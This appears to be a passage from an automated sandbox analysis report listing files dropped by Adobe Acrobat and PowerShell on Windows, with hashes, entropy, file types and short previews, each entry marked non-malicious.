MD5:	93FA1DC75E31E32C56B98395E4A518D6
SHA1:	E5F282CC66FE07AF03C90DC2D00E39CE0BAF8EA1
SHA-256:	7519B41A4D61EC3E7B22B7B263DD0BEAFD745C037686E8DC3424411FB8FFC72F
SHA-512:	AF59BBA7D1CF717C0933AF36E3D953118790FD25275DC9B27ADC52F499C3D223593A1484A49299C03C4CF551D36ECE83E66963344418E4DDE22B0BFA3D11ADD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284908640445234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJTqgFCrPeUkwRe9:YvXKXJ18xsdTeOjGTq16Ukee9
MD5:	D36CCF2224DBC0BED6C67E11FD7AF8C4
SHA1:	979E6125F1D3DA90B7A0805EB577374228E7FE1F
SHA-256:	94ED1AFCC703722A0814154E1602F4CB3522A0EF44B744443A2C0616C35E90FC
SHA-512:	6BB6671DE3823415879A3E73EB1334BE5526AE14F73B6D50F652668AB907F7CC31688AFB164A7340440F143C6C938085D91EA5825FA7E0CA35C47FB10B1E24E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14091569102973
Encrypted:	false
SSDEEP:	24:Yprwa2kayphZNYWOdB6vBvf0jECZUj0SQjrLU2zC2LSaC2OBcP/58PSLL90j5c05:YASPfOD6JG/Z2rMCYCcPiPSX9gc9Z+
MD5:	4BF90CDD4A94DA0930382F074E184BD7
SHA1:	88ACF4541E20EFF2B27A64272765899FC5622EC0
SHA-256:	C3CD26A2E3EC335966BBFDC9E66D0222AEF3ECE583E1B86DDD610F571664B861
SHA-512:	AC304ED4F85B2670C20FF496A91F274B605C613A8185308D13EE9B1EF47CD48E54E24620A825BA7B6C71F95C8A2BC854B53D0324FB6351160E56364D8F44EA9A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"07a389e8402df4bca260bc3cabb2ca7a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736580971000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"da27e2b955bc78ba8fcacb54612911f3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736580971000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"98da27228b00388826c7411f83ce60fd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736580971000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"46b3d260658a71aab3f7eb9dd48ec93d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736580971000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2da87900dacad35499c17ff5fde071ae","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736580971000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"64df6843c1b951cd3d27aa478b7329b6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4526738023515506
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds9lL:lNVmsw3SHtbDbPe0K3+fDZdM
MD5:	7BFE771B1DF13E60B6679C0249C53932
SHA1:	ED18378FB7C342E1FC95631BA1A859BFB52E633B
SHA-256:	84C6AF435B8A32ACB5313CCE722312EC60A9FAA325A5FACDB51E389EBE5C9F0B
SHA-512:	5C0C5D66B98BD323AD70023310A9248EFB4D8A7FC93D0AD405221EF6A0704C22F732A9B7B0F35EA7FC3F4EB6696162D340D96EBC44BCC41D9EB3AD12540CB974
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9568621725945161
Encrypted:	false
SSDEEP:	48:7M/rvrBd6dHtbGIbPe0K3+fDy2dsIQqFl2GL7msD:7q3SHtbDbPe0K3+fDZdyKVmsD
MD5:	2C4C30E04B711B77B784606777846B01
SHA1:	A61EEF37A619AB88DCE84B3B89138DAD46DD718E
SHA-256:	829B72267F14348971A2338732940B535DE802137734B0D55D139E8CA1FE9833
SHA-512:	076D1ABEAC179B4CE108643356EA4E4D134165152677347027BFE1EDEBE798D7AF3229A8EA5005B9D33651A6F70782DC7CF87306CC3CC61BDFBFC741098965FB
Malicious:	false
Preview:	.... .c........S......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgcxdyXQSUsjF6MaPDNMvo/Z1PPKYyu:6a6TZ44ADEcxdyHF2PDNaY1XKK
MD5:	7D1CC8BCDD0E350158570CA1BD7C646A
SHA1:	12337420EDC9F6EA5FB8B919C83269D72B3BD1AE
SHA-256:	FBE61C8B154CE4423EB8AA2315E8542F5FF4F51D4B93BE319ACB8D017D9761DD
SHA-512:	CF96F735DFC8084AE8A31D3D6A4344C365D5DEFD3B5BE128545A8040687FD9D8FF49D9C4FC31C9B32A643B98D0279636EF5F9F835E35DBCA684D760F709BD3D4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3bff3.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGlpSww:Qw946cPbiOxDlbYnuRKdZrk
MD5:	476EB50E5954D89D0F4BAB7879882614
SHA1:	4B6C450A5EA3C5B265B0BD0AE8B6379EB706F9FB
SHA-256:	03422F437F14A83524DAFDA1E65E64F0CCD2B1F82AE0A3F909469C389651DD4A
SHA-512:	D3AEB705BCF9917E1D02FF43D74962E189EA5D5B91E527CC051644AE76E02CD98660321C03DBE286F3F45CF674DC1DB3E8C6D50F63A223FD2F7EBC24D82C61AC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.3.6.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ez3rvarm.l0q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1ybxh4j.jma.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A917tro9c_1669l2v_y0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9s5561c_1669l2q_y0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-36-04-549.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366866299096648
Encrypted:	false
SSDEEP:	384:ESW7+y/ObbQBMCXwqRQV1Cxmb6uNHL7OJa7XZBR9tonCxzHgQDL72N2/uYnFKXPB:Ti9
MD5:	F11AD3E887E8CBC02A85951A73F288FD
SHA1:	70401BD7654A809DB25A917A9EA09BAB7D4297A2
SHA-256:	F4133EE94B8182F884DDD828AFC7F4444A216ECA800644D82DDB63FAB8084C52
SHA-512:	3C2FE7A6B38C10405074385F11D23BE03517EFB7F5FD4A222432EFD390EC2BBB41A0BA48E0BAE44711909B85FB9F5FB33D0DEDFC8B35909F68B1BB82D4A3EFEE
Malicious:	false
Preview:	SessionID=5234813b-132e-426c-aa9d-3f8ff9e5f870.1736580964585 Timestamp=2025-01-11T02:36:04:585-0500 ThreadID=8092 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5234813b-132e-426c-aa9d-3f8ff9e5f870.1736580964585 Timestamp=2025-01-11T02:36:04:608-0500 ThreadID=8092 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5234813b-132e-426c-aa9d-3f8ff9e5f870.1736580964585 Timestamp=2025-01-11T02:36:04:608-0500 ThreadID=8092 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5234813b-132e-426c-aa9d-3f8ff9e5f870.1736580964585 Timestamp=2025-01-11T02:36:04:608-0500 ThreadID=8092 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5234813b-132e-426c-aa9d-3f8ff9e5f870.1736580964585 Timestamp=2025-01-11T02:36:04:608-0500 ThreadID=8092 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.413856003307467
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRy:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRQ
MD5:	E36A175B23260C56196E3C766F08282E
SHA1:	C0C82910D3E03F7FE0ACFCF04EAD2A9F8C24610F
SHA-256:	A5759FBE13875C6BC9765C8E93ED55B6BA18174AC3E583AB5B58ABAB46F52830
SHA-512:	2E9D77ADB8537CD1BC15B1FE176BAEB4B9D2A3D056D2A3F54C8C128D8D8FCC4D778B84402FD62D3DF6F866E587A5BFB7B43040B405CD69804A3C72352174688F
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1cf20caa-1d99-40b4-b12e-e973304a7e89.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VPjaWL07oXGZ4YIGNP5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tbaWLxXGZ4ZGT3mlind9i4ufFXpAXkru
MD5:	A1812224FE5B7CDE84495B17776A2A8D
SHA1:	0EE91950BBB3319303B84ED936E6F4A82BBA85C4
SHA-256:	BB71D9CEFFCFD4C2FD42B554280D8FA99527DC6CCACC99BB4ABD157E0EE605F9
SHA-512:	0555CA6568A95E78176CF6C66DE900A9F6D1405C9352EE28D6403133400C6D02508A662C4F5F49C53624058F75313004EA396DBC3369BE9EBBCA054B06A740A2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\69e7c666-01b8-49e3-9af5-86c2f56a2cd5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c7f9d42c-5ce9-4a80-b588-f0dcf1c1a155.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
SHA-512:	E170C9BD3B6BB575244FCD380334D763C30352586F60824A67868EAE8E895BE0601D51670FCC304724BDF321CE8EF64881E606C9CF4C18C5817DFB5A679E44D6
Malicious:	false
